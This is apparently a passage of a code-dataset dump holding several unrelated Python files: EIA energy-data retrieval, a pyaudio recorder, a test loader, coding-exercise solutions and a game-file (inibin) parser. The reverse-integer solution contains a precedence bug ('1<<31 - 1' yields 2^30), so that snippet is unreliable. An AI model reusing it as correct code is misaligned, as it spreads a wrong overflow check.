(should be add and then divide)\n # # calibrated_hh = [0] # National column N\n # aer_btu_hh = electricity_df['MER, 12/19 (Trillion Btu)'].add(fuels_df['MER, 12/19 (Trillion Btu)']).div(calibrated_hh) # How do order of operations work here ?? (should be add and then divide)\n \n elif self.sector == 'commercial':\n electricity_retail_sales_commercial_sector = self.eia_api(id_='TOTAL.ESCCBUS.A', id_type='series')\n total_primary_energy_consumed_commercial_sector = self.eia_api(id_='TOTAL.TXCCBUS.A', id_type='series')\n # AER11_Table21C_Update = pd.read_excel('https://www.eia.gov/totalenergy/data/browser/xls.php?tbl=T02.03', header=10) # GetEIAData.eia_api(id_='711251')\n # AER11_Table21C_Update = AER11_Table21C_Update.query('Month != \"NaT\"')\n AER11_Table21C_Update = pd.read_csv('https://www.eia.gov/totalenergy/data/browser/csv.php?tbl=T02.03')\n # AER11_Table21C_Update['YYYYMM'] = pd.to_datetime(AER11_Table21C_Update['YYYYMM'], format='%Y%m')\n AER11_Table21C_Update['YYYYMM'] = AER11_Table21C_Update['YYYYMM'].astype(str)\n AER11_Table21C_Update['Month'] = AER11_Table21C_Update['YYYYMM'].str[-2:]\n AER11_Table21C_Update['Year'] = AER11_Table21C_Update['YYYYMM'].str[:-2]\n AER11_Table21C_Update = AER11_Table21C_Update.query('Month == \"13\"')\n AER11_Table21C_Update = AER11_Table21C_Update.set_index('Year').sort_index(ascending=True)\n aer_retail_sales_tbtu = AER11_Table21C_Update[AER11_Table21C_Update['MSN']=='ESCCBUS']['Value'].astype(float)\n aer_retail_sales_bbtu = aer_retail_sales_tbtu.divide(1000)\n\n aer_total_primary_tbtu = AER11_Table21C_Update[AER11_Table21C_Update['MSN']=='TXCCBUS']['Value'].astype(float)\n aer_total_primary_bbtu = aer_total_primary_tbtu.divide(1000)\n\n mer_data23_Dec_2019 = self.eia_api(id_='711251') # pd.read_csv()\n fuels_census_region, electricity_census_region = self.get_seds()\n\n electricity_df = pd.DataFrame()\n electricity_df['AER 11 (Billion Btu)'] = aer_retail_sales_bbtu # Column W\n electricity_df['MER, 12/19 (Trillion Btu)'] = electricity_retail_sales_commercial_sector # mer_data23_Dec_2019['Electricty Retail Sales to the Commercial Sector'] # Column M\n electricity_df['SEDS (01/20) (Trillion Btu)'] = electricity_census_region['National'] # Column G\n electricity_df['SEDS (01/20) (Trillion Btu)']= electricity_df['SEDS (01/20) (Trillion Btu)'].fillna(electricity_df['MER, 12/19 (Trillion Btu)'])\n\n electricity_df['Ratio MER/SEDS'] = electricity_df['MER, 12/19 (Trillion Btu)'].div(electricity_df['SEDS (01/20) (Trillion Btu)'].values)\n electricity_df['Final Est. (Trillion Btu)'] = electricity_df['SEDS (01/20) (Trillion Btu)'].multiply(electricity_df['Ratio MER/SEDS'].values)\n\n fuels_df = pd.DataFrame()\n fuels_df['AER 11 (Billion Btu)'] = aer_total_primary_bbtu # Column U\n fuels_df['MER, 12/19 (Trillion Btu)'] = total_primary_energy_consumed_commercial_sector # mer_data23_Dec_2019['Total Primary Energy Consumed by the Commercial Sector'] # Column L\n fuels_df['SEDS (01/20) (Trillion Btu)'] = fuels_census_region['National'] # Column N\n fuels_df['SEDS (01/20) (Trillion Btu)']= fuels_df['SEDS (01/20) (Trillion Btu)'].fillna(fuels_df['MER, 12/19 (Trillion Btu)'])\n fuels_df['Ratio MER/SEDS'] = fuels_df['MER, 12/19 (Trillion Btu)'].div(fuels_df['SEDS (01/20) (Trillion Btu)'].values)\n fuels_df['Final Est. (Trillion Btu)'] = fuels_df['SEDS (01/20) (Trillion Btu)'].multiply(fuels_df['Ratio MER/SEDS'].values)\n # If SEDS is 0, replace with MER\n # fuels_df['Final Est. (Trillion Btu)'] = fuels_df['Final Est. (Trillion Btu)'].fillna(fuels_df['MER, 12/19 (Trillion Btu)'], inplace=True)\n\n else: \n pass\n\n national_calibration = electricity_df.merge(fuels_df, left_index=True, right_index=True, how='outer', suffixes=['_elec','_fuels'])\n return national_calibration\n\n def conversion_factors(self, include_utility_sector_efficiency=False):\n \"\"\"Not sure if this is correct class method use\n\n Returns:\n [type]: [description]\n \"\"\" \n \n if self.sector == 'residential':\n electricity_retail_sales = self.eia_api(id_='TOTAL.ESRCBUS.A', id_type='series') # electricity retail sales to the residential sector\n electrical_system_energy_losses = self.eia_api(id_='TOTAL.LORCBUS.A', id_type='series') # Residential Sector Electrical System Energy Losses\n\n elif self.sector == 'commercial': \n electricity_retail_sales = self.eia_api(id_='TOTAL.ESCCBUS.A', id_type='series') # electricity retail sales to the commercial sector\n electrical_system_energy_losses = self.eia_api(id_='TOTAL.LOCCBUS.A', id_type='series') # Commercial Sector Electrical System Energy Losses\n \n elif self.sector == 'industrial': \n electricity_retail_sales = self.eia_api(id_='TOTAL.ESICBUS.A', id_type='series') # electricity retail sales to the industrial sector\n electrical_system_energy_losses = self.eia_api(id_='TOTAL.LOICBUS.A', id_type='series') # Industrial Sector Electrical System Energy Losses\n\n else: # Electricity and Tranportation don't use conversion factors\n return None\n \n sector_name = self.sector.capitalize()\n col_rename = {f'Electricity Retail Sales to the {sector_name} Sector, Annual, Trillion Btu': 'electricity_retail_sales', f'{sector_name} Sector Electrical System Energy Losses, Annual, Trillion Btu': 'electrical_system_energy_losses'}\n conversion_factors_df = electricity_retail_sales.merge(electrical_system_energy_losses, how='outer', on='Year').rename(columns=col_rename)\n conversion_factors_df['Losses/Sales'] = conversion_factors_df['electrical_system_energy_losses'].div(conversion_factors_df['electricity_retail_sales']) \n conversion_factors_df['source-site conversion factor'] = conversion_factors_df['Losses/Sales'].add(1)\n base_year_source_site_conversion_factor = conversion_factors_df.loc['1985', ['source-site conversion factor']].values[0]\n conversion_factors_df['conversion factor index'] = conversion_factors_df['source-site conversion factor'].div(base_year_source_site_conversion_factor)\n if include_utility_sector_efficiency:\n conversion_factors_df['utility efficiency adjustment factor'] = conversion_factors_df['conversion factor index']\n conversion_factors_df['selected site-source conversion factor'] = conversion_factors_df['source-site conversion factor']\n else: \n conversion_factors_df['utility efficiency adjustment factor'] = 1\n conversion_factors_df['selected site-source conversion factor'] = base_year_source_site_conversion_factor\n\n return conversion_factors_df[['selected site-source conversion factor']]\n\n\n","sub_path":"EnergyIntensityIndicators/pull_eia_api.py","file_name":"pull_eia_api.py","file_ext":"py","file_size_in_byte":17647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"651250144","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Aug 22 15:30:56 2018\n\n@author: Guillermo\n\"\"\"\n\nimport pyaudio\nimport wave\nimport sys\nimport numpy\nimport matplotlib.pylab as plt\n\nCHUNK = 1024\nRATE = 44100\nRECORD_SECONDS = 5\nFORMAT = pyaudio.paInt16\n#if len(sys.argv) < 2:\n# print(\"Plays a wave file.\\n\\nUsage: %s filename.wav\" % sys.argv[0])\n# sys.exit(-1)\n#\n#wf = wave.open(sys.argv[1], 'rb')\n\n# instantiate PyAudio (1)\np = pyaudio.PyAudio()\n\n\n\n#plt.plot(t,y)\n#plt.show()\n\n# open stream (2)\nstream = p.open(format=FORMAT,\n channels=1,\n rate=RATE,\n input=True,\n frames_per_buffer=RATE* RECORD_SECONDS)\n\nframes = numpy.array([],numpy.int16)\n\n#for i in range(0, int(RATE / CHUNK * RECORD_SECONDS)):\n# data = stream.read(CHUNK)\n# numpy.append(frames,numpy.frombuffer(data,numpy.int16))\n #frames.append(numpy.frombuffer(data,numpy.int16))\n\n\ndata = stream.read(RATE* RECORD_SECONDS)\nframes = numpy.frombuffer(data,numpy.int16)\n\n#numeros = numpy.fromstring(frames,numpy.float32)\n#y = stream.read(1000,True)\n#y2 = numpy.fromstring(y,numpy.float32)\n\n# stop stream (4)\nstream.stop_stream()\nstream.close()\n\n# close PyAudio (5)\np.terminate()\n\n#waveFile = wave.open('Prueba.wav', 'wb')\n#waveFile.setnchannels(1)\n#waveFile.setsampwidth(p.get_sample_size(FORMAT))\n#waveFile.setframerate(RATE)\n#waveFile.writeframes(b''.join(frames))\n#waveFile.close()","sub_path":"acquire.py","file_name":"acquire.py","file_ext":"py","file_size_in_byte":1404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"123624523","text":"## Copyright (c) 2016 SIL International\n## This software is licensed under the MIT License (http://opensource.org/licenses/MIT)\n\n\"\"\"\nThis file is used by _sikuli_runall.sikuli to find all tests within the directory it is placed.\n\"\"\"\n\nimport unittest\nimport os\nimport imp\n\ndef load_tests(loader, standard_tests, pattern):\n for folder in os.listdir(os.path.dirname(__file__)):\n if \"_sikuli_runall.sikuli\" == folder:\n folder = os.path.join(os.path.dirname(__file__), folder)\n sikuliFolder = folder\n sikuliFile = os.path.basename(sikuliFolder)[:-7]+\".py\"\n wholePath = os.path.join(sikuliFolder,sikuliFile)\n name = os.path.basename(folder)[:-7]\n newfolder = os.path.dirname(folder)\n mod = imp.load_source(\"_sikuli_runall\",wholePath)\n tests = loader.loadTestsFromName(\"MyTests\",mod)\n standard_tests.addTests(tests)\n return standard_tests\n","sub_path":"localization_tests/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"219430096","text":"def records_from_file(filename):\n \n \"\"\"This RETURNS a list from a given file. Inside the list, each line \n contains a tuple. This contains a tuple with information about the course \n and a tuple containing information about the student. The course tuple\n contains the course code and its name as a string. The student tuple \n contains the student name, family name as a string as well as their \n ID number as an integer. For example, it would return\n (('ABC000', 'DEFGHIJ'), (123456, 'DEF', 'GHI'))\n \"\"\"\n \n infile = open(filename)\n contents = infile.readlines()\n final_result = []\n for values_in_datasheet in contents[1: ]:\n result = values_in_datasheet.strip().split(',')\n course_tuple = tuple(result[0:2])\n student_id = int(result[2])\n first_name = result[3]\n last_name = result[4]\n student_tuple = (student_id, first_name, last_name)\n both_tuples_combined = (course_tuple, student_tuple)\n final_result.append(both_tuples_combined)\n \n return final_result\n\n\ndef all_courses(records):\n \"\"\"This function takes the list of tuples from the function records_from_file\n returns a dictionary that maps the course code to the course name. The \n course code is the key\n \"\"\"\n \n course_and_id_dict = {} #This creates an empty dictionary\n for all_tuples in records:\n course_info_tuple = all_tuples[0] #Extracts all course information\n course_id = course_info_tuple[0]\n course_name = course_info_tuple[1]\n \n course_and_id_dict[course_id] = course_name\n \n return course_and_id_dict\n\n \n ","sub_path":"2017/COSC121/Assignments/Assignment 4/Question 2.py","file_name":"Question 2.py","file_ext":"py","file_size_in_byte":1666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"277481942","text":"# Time: O(nlogn)\n# Space: O(n)\n\n# 300\n# Given an unsorted array of integers,\n# find the length of longest increasing subsequence.\n#\n# For example,\n# Given [10, 9, 2, 5, 3, 7, 101, 18],\n# The longest increasing subsequence is [2, 3, 7, 101],\n# therefore the length is 4. Note that there may be more\n# than one LIS combination, it is only necessary for you to return the length.\n#\n# Your algorithm should run in O(n2) complexity.\n#\n# Follow up: Could you improve it to O(n log n) time complexity?\n#\n\n# Binary search solution 贪心 + 二分查找:维护一个数组 LIS_tail,储存最长上升子序列的末尾元素的最小值。因为上升子序列的\n# 单调性,可用二分查找优化每一步。理念来源于贪心算法:要使上升子序列尽可能的长,需要让序列上升得尽可能慢。\n\n# LIS[i] stores the smallest tail of LIS with length i+1 : when new elem is larger than all elems in LIS,\n# append to the end of LIS; otherwise replace the first LIS elem which is larger than it.\n# e.g. given [10, 9, 2, 5, 3, 7, 101, 18],\n# [10] -> [9] -> [2] -> [2,5] -> [2,3] -> [2,3,7] -> [2,3,7,101] -> [2,3,7,18]\n\n# given [20, 21, 22, 1, 2, 3, 4]:\n# [20] -> [20, 21] -> [20,21,22] -> [1,21,22] -> [1,2,22] -> [1,2,3] -> [1,2,3,4]\n# ^ this is not a valid subsequence but the length are correct.\n# 1 is smallest tail of length-1 LIS, 21 is tail of length-2 LIS, 22 is tail of length-3 LIS.\n# the method in this geeksforgeeks article is similar but not straightforward https://www.geeksforgeeks.org/longest-monotonically-increasing-subsequence-size-n-log-n/\n\nclass Solution(object):\n def lengthOfLIS(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n import bisect\n LIS_tail = []\n for n in nums:\n pos = bisect.bisect_left(LIS_tail, n) # Find the first pos satisfying seq[pos] >= target. bisect_right is wrong for [2,2] -> 2\n # because we ask strict increasing subseq, bisect_right appending same value at the end is wrong.\n # bisect works on empty array.\n if pos == len(LIS_tail):\n LIS_tail.append(n)\n else:\n LIS_tail[pos] = n\n return len(LIS_tail)\n\n\n# Range Maximum Query\nclass SegmentTree(object): # 0-based index\n def __init__(self, N,\n build_fn=lambda x, y: [y]*(2*x),\n query_fn=lambda x, y: y if x is None else max(x, y), # (lambda x, y: y if x is None else min(x, y))\n update_fn=lambda x, y: y,\n default_val=0):\n self.N = N\n self.H = (N-1).bit_length()\n self.query_fn = query_fn\n self.update_fn = update_fn\n self.default_val = default_val\n self.tree = build_fn(N, default_val)\n self.lazy = [None]*N\n\n def __apply(self, x, val):\n self.tree[x] = self.update_fn(self.tree[x], val)\n if x < self.N:\n self.lazy[x] = self.update_fn(self.lazy[x], val)\n\n def update(self, L, R, h): # Time: O(logN), Space: O(N)\n def pull(x):\n while x > 1:\n x //= 2\n self.tree[x] = self.query_fn(self.tree[x*2], self.tree[x*2+1])\n if self.lazy[x] is not None:\n self.tree[x] = self.update_fn(self.tree[x], self.lazy[x])\n\n L += self.N\n R += self.N\n L0, R0 = L, R\n while L <= R:\n if L & 1: # is right child\n self.__apply(L, h) \n L += 1\n if R & 1 == 0: # is left child\n self.__apply(R, h)\n R -= 1\n L //= 2\n R //= 2\n pull(L0)\n pull(R0)\n\n def query(self, L, R): # Time: O(logN), Space: O(N)\n def push(x):\n n = 2**self.H\n while n != 1:\n y = x // n\n if self.lazy[y] is not None:\n self.__apply(y*2, self.lazy[y])\n self.__apply(y*2 + 1, self.lazy[y])\n self.lazy[y] = None\n n //= 2\n\n result = None\n if L > R:\n return result\n\n L += self.N\n R += self.N\n push(L)\n push(R)\n while L <= R:\n if L & 1: # is right child\n result = self.query_fn(result, self.tree[L])\n L += 1\n if R & 1 == 0: # is left child\n result = self.query_fn(result, self.tree[R])\n R -= 1\n L //= 2\n R //= 2\n return result\n \n def __str__(self):\n showList = []\n for i in xrange(self.N):\n showList.append(self.query(i, i))\n return \",\".join(map(str, showList))\n\n\n# Time: O(nlogn)\n# Space: O(n)\n# optimized from Solution4\nclass Solution3(object):\n def lengthOfLIS(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n sorted_nums = sorted(set(nums))\n lookup = {num:i for i, num in enumerate(sorted_nums)}\n segment_tree = SegmentTree(len(lookup))\n for num in nums:\n segment_tree.update(lookup[num], lookup[num],\n segment_tree.query(0, lookup[num]-1)+1 if lookup[num] >= 1 else 1)\n return segment_tree.query(0, len(lookup)-1) if len(lookup) >= 1 else 0\n\n\n# Time: O(n^2)\n# Space: O(n)\n# Traditional DP solution.\nclass Solution4(object):\n def lengthOfLIS(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n dp = [] # dp[i]: the length of LIS ends with nums[i]\n for i in range(len(nums)):\n dp.append(1)\n for j in range(i):\n if nums[j] < nums[i]:\n dp[i] = max(dp[i], dp[j] + 1)\n return max(dp) if dp else 0\n\nprint(Solution().lengthOfLIS([2,3,4,1]))\n","sub_path":"Python/longest-increasing-subsequence.py","file_name":"longest-increasing-subsequence.py","file_ext":"py","file_size_in_byte":5928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"308543070","text":"\"\"\"\n413. Reverse Integer\nhttps://www.lintcode.com/problem/reverse-integer/description?_from=ladder&&fromId=37\n\"\"\"\nclass Solution:\n \"\"\"\n @param n: the integer to be reversed\n @return: the reversed integer\n \"\"\"\n def reverseInteger(self, n):\n # write your code here\n \n a = str(abs(n))\n sign = n > 0\n res = int(a[::-1])\n if n > 0 and res <= 1<<31 - 1:\n return res\n if n < 0 and -res >= -1<<31:\n return -res\n return 0","sub_path":"lintcode/413.py","file_name":"413.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"204476968","text":"\"\"\"\nCreated on 05.05.2014\n\nThis work is based on https://github.com/Met48/inibin and https://github.com/hmoog/riot-decode/blob/master/riotDecode/inibin/\n -> last fork 05.05.2014\n\n@author: Carbon\n\"\"\"\nfrom ..util import split, unpack\nfrom collections import defaultdict\nimport pickle\nimport re\n\ndef read_int(count, fistream, d__data): # pylint: disable=unused-argument\n \"\"\"\n Reads a plain int...\n \"\"\"\n return unpack(\"<%si\" % count, fistream)\n\ndef read_float(count, fistream, d__data): # pylint: disable=unused-argument\n \"\"\"\n Reads a plain float...\n \"\"\"\n return unpack(\"<%sf\" % count, fistream)\n\ndef read_bytepercent(count, fistream, d__data): # pylint: disable=unused-argument\n \"\"\"\n Reads a plain 10%-integer...\n \"\"\"\n return [i / 10 for i in unpack(\"<%sB\" % (count,), fistream)]\n\ndef read_short(count, fistream, d__data): # pylint: disable=unused-argument\n \"\"\"\n Reads a plain short...\n \"\"\"\n return unpack(\"<%sh\" % (count,), fistream)\n\ndef read_byte(count, fistream, d__data): # pylint: disable=unused-argument\n \"\"\"\n Reads a plain byte...\n \"\"\"\n return unpack(\"<%sB\" % (count,), fistream)\n\ndef read_boolean(count, fistream, d__data): # pylint: disable=unused-argument\n \"\"\"\n Reads a plain boolean...\n \"\"\"\n b_count = (count + 7) // 8\n b_array = unpack(\"%sB\" % b_count, fistream)\n\n return [((b_array[i // 8] & (1 << i % 8)) >> i % 8) for i in range(count)]\n\ndef read_2bytepercent(count, fistream, d__data): # pylint: disable=unused-argument\n \"\"\"\n Reads a 2-dim vector of perc-values. E.g. ...\n \"\"\"\n return split([i / 10 for i in unpack(\"<%sB\" % (2 * count), fistream)], *((i + 1) * 2 for i in range(count - 1)))\n\ndef read_3bytepercent(count, fistream, d__data): # pylint: disable=unused-argument\n \"\"\"\n Reads a 3-dim vector of perc-values. E.g. levelup restriction for ultimate\n \"\"\"\n return split([i / 10 for i in unpack(\"<%sB\" % (3 * count), fistream)], *((i + 1) * 3 for i in range(count - 1)))\n\ndef read_4bytepercent(count, fistream, d__data): # pylint: disable=unused-argument\n \"\"\"\n Reads a 4-dim vector of perc-values... E.g. max.levels restriction for skills\n \"\"\"\n return split([i / 10 for i in unpack(\"<%sB\" % (4 * count), fistream)], *((i + 1) * 4 for i in range(count - 1)))\n\ndef read_2float(count, fistream, d__data): # pylint: disable=unused-argument\n \"\"\"\n Reads a 2-dim vector of ?ints?\n \"\"\"\n return split(unpack(\"<%sf\" % (2 * count), fistream), *((i + 1) * 2 for i in range(count - 1)))\n\ndef read_3float(count, fistream, d__data): # pylint: disable=unused-argument\n \"\"\"\n Reads a 3-dim vector of ?ints?\n \"\"\"\n return split(unpack(\"<%sf\" % (3 * count), fistream), *((i + 1) * 3 for i in range(count - 1)))\n\ndef read_4float(count, fistream, d__data): # pylint: disable=unused-argument\n \"\"\"\n Reads a 4-dim vector of ?ints?\n \"\"\"\n return split(unpack(\"<%sf\" % (4 * count), fistream), *((i + 1) * 4 for i in range(count - 1)))\n\ndef read_strings(count, fistream, data): # pylint: disable=unused-argument\n \"\"\"\n Reads the strings from the fistream. They are special because they need information from the header\n \"\"\"\n offsets = unpack(\"<%sH\" % (count,), fistream)\n strings = fistream.read(data.header.string_table_length).decode(\"latin-1\")\n return [strings[offset:].split('\\x00')[0] for offset in offsets]\n\nclass CustomDefaultDict(dict):\n \"\"\"\n An implementation of default-dict that allows to acces\n the key if the key is not present\n \"\"\"\n def __init__(self, factory):\n \"\"\"\n Factory is a callable that gets called if the key is not present\n \"\"\"\n super(CustomDefaultDict, self).__init__()\n self._factory = factory\n\n def __missing__(self, key):\n \"\"\"\n If the key is missing\n \"\"\"\n self[key] = self._factory(key)\n return self[key]\n\n# Only delegates method calls and is used to order stuff...\nclass NestedNode(object): # pylint: disable=too-few-public-methods\n \"\"\"\n Represents a nested node. Carries an identifier and an object.\n Returns a NestedValue when called so that you don't lose the\n order.\n \"\"\"\n def __init__(self, name, value):\n \"\"\"\n name is like a package path. A 'a.b' means 'b' child-of 'a'\n The ordering is top-down, so:\n 'a'\n 'a.b'\n 'a.c'\n 'a.c.a'\n 'a.c.b'\n 'b.z.i'\n 'z'\n \"\"\"\n self._name = name\n self._name_pieces = name.split('.')\n self.value = value\n def matches(self, test_re):\n \"\"\"\n Returns whether the path of this Node matches the re given\n \"\"\"\n return re.match(test_re, self._name)\n def _cmp(self, other):\n \"\"\"\n Python 2 comparison function... it's easier this way\n \"\"\"\n # we should be allowed to access own privates\n other_pieces = other._name_pieces # pylint: disable=protected-access\n for s_np, o_np in zip(self._name_pieces, other_pieces):\n if s_np < o_np:\n return -1\n elif s_np > o_np:\n return 1\n return len(self._name_pieces) - len(other_pieces)\n\n def __lt__(self, other):\n \"\"\"\n Comparison function\n \"\"\"\n if not isinstance(other, NestedNode):\n return self.value.__lt__(other)\n return self._cmp(other) < 0\n\n def __gt__(self, other):\n \"\"\"\n Comparison function\n \"\"\"\n if not isinstance(other, NestedNode):\n return self.value.__gt__(other)\n return self._cmp(other) > 0\n\n def __eq__(self, other):\n \"\"\"\n Comparison function\n \"\"\"\n if not isinstance(other, NestedNode):\n return self.value.__eq__(other)\n return self._cmp(other) == 0\n\n def __le__(self, other):\n \"\"\"\n Comparison function\n \"\"\"\n if not isinstance(other, NestedNode):\n return self.value.__le__(other)\n return self._cmp(other) <= 0\n\n def __ge__(self, other):\n \"\"\"\n Comparison function\n \"\"\"\n if not isinstance(other, NestedNode):\n return self.value.__ge__(other)\n return self._cmp(other) >= 0\n\n def __ne__(self, other):\n \"\"\"\n Comparison function\n \"\"\"\n if not isinstance(other, NestedNode):\n return self.value.__ne__(other)\n return self._cmp(other) != 0\n\n def __call__(self, *args, **wargs):\n \"\"\"\n Emulates a call to this object and delegates it to\n the function of this object\n \"\"\"\n return NestedNode(self._name, self.value(*args, **wargs))\n\n def __str__(self):\n \"\"\"\n An informal representation of the object\n -> the hold value\n \"\"\"\n return str(self.value)\n\n def __repr__(self):\n \"\"\"\n Representation of this object\n \"\"\"\n return \"NestedNode(%s, %s)\" % (self._name, repr(self.value))\n\nKEY_TABLE = CustomDefaultDict(lambda x: NestedNode('\\xff.%s' % x, lambda y: \"U_%s: %s\" % (x, y)))\n\ndef func_factory(value):\n \"\"\"Returns a 'lambda-function'\"\"\"\n pattern = value + \" %s\"\n def lmbda(y):\n \"\"\"The lambda\"\"\"\n return pattern % (y,)\n return lmbda\n# the problem is that a lambda-expression still references the val and therefore keeps the last val of the for-loop\n\nKEY_TABLE.update({key: NestedNode(val, func_factory(val)) for key, val in pickle.load(open('./io_scene_lol/inibin/keydict.dict', 'rb')).items()})\n\nCUSTOM_TABLE = {\n # Bases do not include level one per-level bonus\n 742042233: NestedNode('Stats.base.hp.base.base', lambda y: 'Base HP: %s' % y),\n - 988146097: NestedNode('Stats.base.hp.base.perlv', lambda y: 'HP per Level: %s' % y),\n - 166675978: NestedNode('Stats.base.hp.per5.base', lambda y: 'HP/5: %s' % (y * 5)),# Convert from hp1\n - 1232864324: NestedNode('Stats.base.hp.per5.perlv', lambda y: 'HP/5 per Level: %s' % (y * 5)),\n 742370228: NestedNode('Stats.base.mana.base.base', lambda y: 'Base Mana: %s' % y),\n 1003217290: NestedNode('Stats.base.mana.base.perlv', lambda y: 'Mana per Level: %s' % y),\n 619143803: NestedNode('Stats.base.mana.per5.base', lambda y: 'Mana/5: %s' % (y * 5)),# Convert from hp1\n 1248483905: NestedNode('Stats.base.mana.per5.perlv', lambda y: 'Mana/5 per Level: %s' % (y * 5)),\n 1387461685: NestedNode('Stats.off.range', lambda y: 'Range: %s' % y),\n 1880118880: NestedNode('Stats.off.damage.base', lambda y: 'Base Damage: %s' % y),\n 1139868982: NestedNode('Stats.off.damage.perlv', lambda y: 'Damage per Level: %s' % y),\n - 2103674057: NestedNode('Stats.off.attspeed.base', lambda y: 'Base Attackspeed: %s' % (0.625 / (1.0 + float(y))) if float(y) != -1.0 else 'N/A'),\n 770205030: NestedNode('Stats.off.attspeed.perlv', lambda y: 'Attackspeed per Level: %s%%' % y),\n - 1695914273: NestedNode('Stats.def.armor.base', lambda y: 'Base Armor: %s' % y),\n 1608827366: NestedNode('Stats.def.armor.perlv', lambda y: 'Armor per Level: %s' % y),\n 1395891205: NestedNode('Stats.def.mr.base', lambda y: 'Base MR: %s' % y),\n - 262788340: NestedNode('Stats.def.mr.perlv', lambda y: 'MR per Level: %s' % y),\n 1081768566: NestedNode('Stats.util.movespeed', lambda y: 'Movement speed: %s' % y),\n - 688356814: NestedNode('kit.champ.icon_square', lambda y: 'Icon Square: %s' % y),\n - 902749819: NestedNode('kit.champ.icon_round', lambda y: 'Icon Square: %s' % y),\n - 893169035: NestedNode('kit.skills.0passive.Name', lambda y: 'Passive: %s' % y),\n 743602011: NestedNode('kit.skills.0passive.descr', lambda y: 'Passive Description: %s' % y),\n - 484483517: NestedNode('kit.skills.0passive.icon', lambda y: 'Passive Icon: %s' % y),\n 404599689: NestedNode('kit.skills.1q.name', lambda y: 'Skill Q: %s' % y), # not in order\n 404599690: NestedNode('kit.skills.2w.name', lambda y: 'Skill W: %s' % y),\n 404599691: NestedNode('kit.skills.3e.name', lambda y: 'Skill E: %s' % y),\n 404599692: NestedNode('kit.skills.4r.name', lambda y: 'Skill R: %s' % y),\n 1637964898: NestedNode('kit.attk.crit', lambda y: 'Critical attack: %s' % y),\n - 148652351: NestedNode('rating.tags', lambda y: 'Role: %s' % y),\n 767627316: NestedNode('rating.1att', lambda y: 'Attack Power: %s' % y),\n - 1508576948: NestedNode('rating.2def', lambda y: 'Defense Power: %s' % y),\n 1040761625: NestedNode('rating.3magic', lambda y: 'Magic Power: %s' % y),\n 105898023: NestedNode('rating.4diff', lambda y: 'Difficulty: %s' % y),\n 82690155: NestedNode('info.info.name', lambda y: 'Display Name: %s' % y),\n - 51751813: NestedNode('info.info.lore', lambda y: 'Champion-Lore: %s' % y),\n - 547924932: NestedNode('info.info.descr', lambda y: 'Champion Description: %s' % y),\n 70667385: NestedNode('info.tips.friends', lambda y: 'Tips for you: %s' % y),\n 70667386: NestedNode('info.tips.enemies', lambda y: 'Tips for foes: %s' % y),\n - 1373490748: NestedNode('info.xadd.champId', lambda y: 'Champion id: %s' % y),\n\n # Outdated\n - 1794871821: NestedNode('zzz.rating.role', lambda y: 'Playstyle: %s' % y),\n - 75666821: NestedNode('zzz.skills.0passive.descr', lambda y: 'Passive Description: %s' % y),\n - 648466076: NestedNode('zzz.skills.1q.name', lambda y: 'Q Name: %s' % y),\n - 639479878: NestedNode('zzz.skills.1q.descr', lambda y: 'Q Description: %s' % y),\n - 428555229: NestedNode('zzz.skills.2w.name', lambda y: 'W Name: %s' % y),\n 500084411: NestedNode('zzz.skills.2w.descr', lambda y: 'W Description: %s' % y),\n - 208644382: NestedNode('zzz.skills.3e.name', lambda y: 'E Name: %s' % y),\n 1639648700: NestedNode('zzz.skills.3e.descr', lambda y: 'E Description: %s' % y),\n 11266465: NestedNode('zzz.skills.4r.name', lambda y: 'Ult Name: %s' % y),\n - 1515754307: NestedNode('zzz.skills.4r.descr', lambda y: 'Ult Description: %s' % y),\n - 1187602625: NestedNode('zzz.release_date', lambda y: 'Release Date: %s' % y),\n - 1064145554: NestedNode('zzz.sounds.death', lambda y: 'Death Sound: %s' % y),\n - 1398755070: NestedNode('zzz.sounds.ready', lambda y: 'Ready Sound: %s' % y),\n - 1842104711: NestedNode('zzz.sounds.special1', lambda y: 'Special Sound 1: %s' % y),\n - 1842104710: NestedNode('zzz.sounds.special2', lambda y: 'Special Sound 2: %s' % y),\n 245402728: NestedNode('zzz.sounds.attack1', lambda y: 'Attack 1 Sound: %s' % y),\n 245402729: NestedNode('zzz.sounds.attack2', lambda y: 'Attack 2 Sound: %s' % y),\n 245402730: NestedNode('zzz.sounds.attack3', lambda y: 'Attack 3 Sound: %s' % y),\n 245402731: NestedNode('zzz.sounds.attack4', lambda y: 'Attack 4 Sound: %s' % y),\n 882852607: NestedNode('zzz.sounds.move1', lambda y: 'Move Sound 1: %s' % y),\n 882852608: NestedNode('zzz.sounds.move2', lambda y: 'Move Sound 2: %s' % y),\n 882852609: NestedNode('zzz.sounds.move3', lambda y: 'Move Sound 3: %s' % y),\n 882852610: NestedNode('zzz.sounds.move4', lambda y: 'Move Sound 4: %s' % y),\n 789899530: NestedNode('zzz.sounds.click1', lambda y: 'Click Sound 1: %s' % y),\n 789899531: NestedNode('zzz.sounds.click2', lambda y: 'Click Sound 2: %s' % y),\n 789899532: NestedNode('zzz.sounds.click3', lambda y: 'Click Sound 3: %s' % y),\n 789899533: NestedNode('zzz.sounds.click4', lambda y: 'Click Sound 4: %s' % y),\n - 171736365: NestedNode('zzz.sounds.deatha', lambda y: 'Death Sound 2: %s' % y), # only ahri?\n 2003803037: NestedNode('zzz.sounds.readya', lambda y: 'Ready Sound 2: %s' % y), # only ahri?\n - 655500925: NestedNode('zzz.sounds.attack1a', lambda y: 'Attack 1 Sound (spec.): %s' % y), # only ahri??\n - 655500924: NestedNode('zzz.sounds.attack2a', lambda y: 'Attack 2 Sound (spec.): %s' % y), # only ahri??\n - 655500923: NestedNode('zzz.sounds.attack3a', lambda y: 'Attack 3 Sound (spec.): %s' % y), # only ahri??\n - 655500922: NestedNode('zzz.sounds.attack4a', 